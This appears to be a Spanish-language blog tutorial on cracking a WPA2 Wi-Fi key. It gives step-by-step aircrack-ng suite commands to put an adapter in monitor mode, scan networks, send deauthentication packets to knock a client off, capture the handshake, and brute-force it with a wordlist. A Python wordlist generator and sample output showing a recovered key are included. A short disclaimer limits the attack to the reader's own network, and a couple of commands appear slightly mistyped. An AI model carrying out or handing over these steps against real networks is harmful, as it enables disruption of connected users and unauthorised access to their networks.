Este post está realizado con fines educativos, acceder o hackear a redes ajenas es ilegal por lo cual solo deberías probar este ataque en tu red.
Introducción
Durante este post vamos a ver un método de ataque a redes Wi-Fi para conseguir su clave, consiste en desautenticar a los clientes para obtener el handshake, para posteriormente intentar crackearlo con una wordlist.
Tendremos que generar una wordlist o buscar una en internet, en este post añadiré un simple script en Python que genera una wordlist automaticamente.
Evidentemente, si la contraseña del router es robusta, será muy difícil de conseguir crackear la clave o contraseña mediante fuerza bruta.
Pero antes de empezar, explicaré brevemente en que consiste un ataque de desautenticación y que es el handshake.
Ataque de desautenticación
Es un tipo de ataque donde enviaremos paquetes de desautentificación a un dispositivo conectado en una red, con objetivo de expulsar o desconectar a dicho dispositivo de la red.
Handshake
Es el proceso de intercambio de mensajes entre el cliente y el router o punto de acceso para establecer una conexión segura, establece claves de cifrado para proteger la comunicación.
¿Qué vamos a necesitar?
Necesitaremos lo siguiente:
- Una distro GNU/Linux
- Una adaptador Wi-Fi que soporte el modo «monitor»
- La suite de Aircrack-ng
Yo usaré ParrotOS debido a que ya viene con todo instalado, pero puedes usar la que quieras, tan solo tendrías que instalar la suite manualmente.
En mi caso usaré un adaptador TP-LINK Archer T2UH (actualmente descatalogado)
Para empezar, deberemos localizar la interfaz del adaptador Wi-Fi.
Abre una terminal y escribe:
iwconfig
Nos arrojará algo así:
lo no wireless extensions.
ens33 no wireless extensions.
ens36 no wireless extensions.
wlx7c8bca05131d IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=14 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
En mi caso, la interfaz es la «wlx7c8bca05131d», aunque le cambiaré el nombre para que sea mas fácil.
Para cambiar temporalmente el nombre de una interfaz escribe:
ifconfig <wlx7c8bca05131d> down # Tumba la interfaz, necesario para poder configurarla
ip link set dev <wlx7c8bca05131d> name <wifi> # Cambia el nombre a wifi
ifconfig <wifi> up # Vuelve a levantar la intefaz
Ahora la interfaz pasará a llamarse «wifi»
Una vez ya tengamos localizada la interfaz, el siguiente paso en configurarla en modo «monitor».
ifconfig <wifi> down # Tumba la interfaz, necesario para poder configurarla
iwconfig <wifi> mode monitor # La configura en modo monitor
airmon-ng check rfkillsudo # Detiene todos los procesos que podrían interferir
ifconfig <wifi> up # Vuelve a levantar la interfaz
También existe un comando que simplifica todo esto:
aircrack-ng start <wifi>
Para comprobar que este en modo monitor escribe:
iwconfig
Deberá aparecer así:
lo no wireless extensions.
ens33 no wireless extensions.
ens36 no wireless extensions.
wifi IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=14 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Como podemos observar, la interfaz está en modo «monitor».
El siguiente paso, es escanear las redes
airodump-ng <wifi>
Deberíamos ver las redes disponibles
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID xx:xx:xx:xx:xx:xx -44 109 1 0 1 130 WPA2 CCMP PSK RedEjemplo
xx:xx:xx:xx:xx:xx -52 307 523 0 3 130 WPA2 CCMP PSK [REDACTED]
xx:xx:xx:xx:xx:xx -63 235 0 0 13 130 WPA2 CCMP PSK [REDACTED]
BSSID STATION PWR Rate Lost Frames Notes Probes
xx:xx:xx:xx:xx:xx xx:xx:xx:xx:xx:xx -87 0 - 1 0 2
(not associated) xx:xx:xx:xx:xx:xx -36 0 - 1 0 1
(not associated) xx:xx:xx:xx:xx:xx -64 0 - 1 0 11
Mi objetivo será «RedEjemplo», deberemos fijarnos en el BSSID y en el canal.
Control + Z para detener el escaneo
Copia el BSSID y el canal de la red que deseas y escribe:
airodump-ng -d <XX:XX:XX:XX:XX:XX> -c <1> -w <output_file> <wifi>
-d: BSSID
-c: Canal
-w: Es el archivo que genera el comando con el handshake
<wifi>: Nombre de la interfaz Wi-Fi
Deberíamos ver algo así:
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
xx:xx:xx:xx:xx:xx -38 90 139 7 0 1 130 WPA2 CCMP PSK RedEjemplo
BSSID STATION PWR Rate Lost Frames Notes Probes
xx:xx:xx:xx:xx:xx xx:xx:xx:xx:xx:xx -27 0 -24 0 36
Abajo aparecerán los clientes, deberemos copiar su dirección MAC, es decir «STATION».
Abre otra terminal sin cerrar la de antes y escribe:
aireplay-ng -0 0 -a <XX:XX:XX:XX:XX:XX> -c <XX:XX:XX:XX:XX:XX> <wifi>
-a: BSSID
-c: Dirección MAC del cliente
<wifi>: Nombre de la interfaz Wi-Fi
17:33:51 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 1
17:33:52 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|63 ACKs]
17:33:52 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|65 ACKs]
17:33:53 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
17:33:53 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
17:33:54 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
17:33:54 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
Si tratamos de conectarnos a la red nos arrojará un mensaje de error o de que la contraseña es incorrecta.
Bien, ahora regresa a la ventana del terminal anterior, y debería haber aparecido el handshake en la parte superior
CH 1 ][ Elapsed: 11 mins ][ 2023-11-19 17:41 ][ WPA handshake: XX:XX:XX:XX:XX:XX
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:XX:XX -35 92 6648 146 0 1 130 WPA2 CCMP PSK RedEjemplo
BSSID STATION PWR Rate Lost Frames Notes Probes
XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -23 6e-24 0 7399 EAPOL
Detenemos todos los comandos, nos habrá generado unos archivos, dependiendo del nombre que le pusimos tendrá uno nombre o otro.
ls
output-01.cap output-01.csv output-01.kismet.csv output-01.kismet.netxml output-01.log.csv
El que nos interesa es el output-01.cap
Antes de ejecutar el ataque de fuerza bruta, se necesita una wordlist o diccionario, puedes generar uno o buscarlo en internet.
He hecho un script en Python que genera contraseñas aleatorias, puedes elegir entre la longitud, la cantidad, los caracteres especiales y si lo prefiere en mayúsculas o no.
Por ejemplo, el router de mi operadora, la contraseña por defecto es de 16 caracteres y todo en mayúsculas, pues con este script podrías montarte un diccionario para tal router, la probabilidad de acierto es muy baja aun con la contraseña por defecto.
Script (Python3)
import string
import random
import secrets
from contextlib import redirect_stdout
chList = ""
chList += string.ascii_letters + string.digits
longitud = int(input("Longitud de las contraseñas: "))
cantidad = int(input("Cuantas contraseñas quieres generar? "))
mayus = str(input("Usar solo mayus? ej: vodafone | [s/N]")).upper()
specialCaracteres = str(input("Usar caracteres especiales? | [s/N]")).upper()
outputFile = str(input("Como quieres nombrar al archivo? | [wordlist]")).lower()
if outputFile == "":
outputFile = "wordlist.txt"
if specialCaracteres == "S":
chList += string.punctuation
password = ""
contador = 0
wordlistOutput = open(outputFile,"w")
if mayus == "S":
for i in range(cantidad):
password = ''.join(secrets.choice(chList) for i in range(longitud)).upper()
contador += 1
print(contador,": ", password)
wordlistOutput.write(password + "\n")
else:
for i in range(cantidad):
password = ''.join(secrets.choice(chList) for i in range(longitud))
contador += 1
print(contador,": ", password)
wordlistOutput.write(password + "\n")
wordlistOutput.close()
Ahora que ya contamos con la wordlist escribe el siguiente comando:
aircrack-ng -w <wordlist.txt> <output-01.cap>
-w: Ubicación de la wordlist
Si la contraseña está en la wordlist, nos lo indicará:
Reading packets, please wait...
Opening output-01.cap
Read 3719 packets.
# BSSID ESSID Encryption
1 xx:xx:xx:xx:xx:xx RedEjemplo WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening output-01.cap
Read 3719 packets.
1 potential targets
Aircrack-ng 1.6
[00:00:00] 40/100 keys tested (1380.60 k/s)
Time left: 0 seconds 40.00%
KEY FOUND! [ NEK2ONLFFAU94ZRH ]
Master Key : D0 E0 40 92 A8 12 02 38 04 01 1F 84 9E AD D1 24
74 63 E7 6A 9D 2F EA 41 3A 09 74 57 F0 B6 13 B0
Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : EB F3 73 28 BD 82 04 0B 30 CB 4B FA 6F FD D3 77
Como podemos ver, la contraseña es «NEK2ONLFFAU94ZRH»
Existen otras formas de crackearla, pero en este post explicaré únicamente esta forma.
Y ya lo podemos dar por finalizado!
Recuerda! si tienes algo que aportar no dudes en comentarlo.
Un saludo.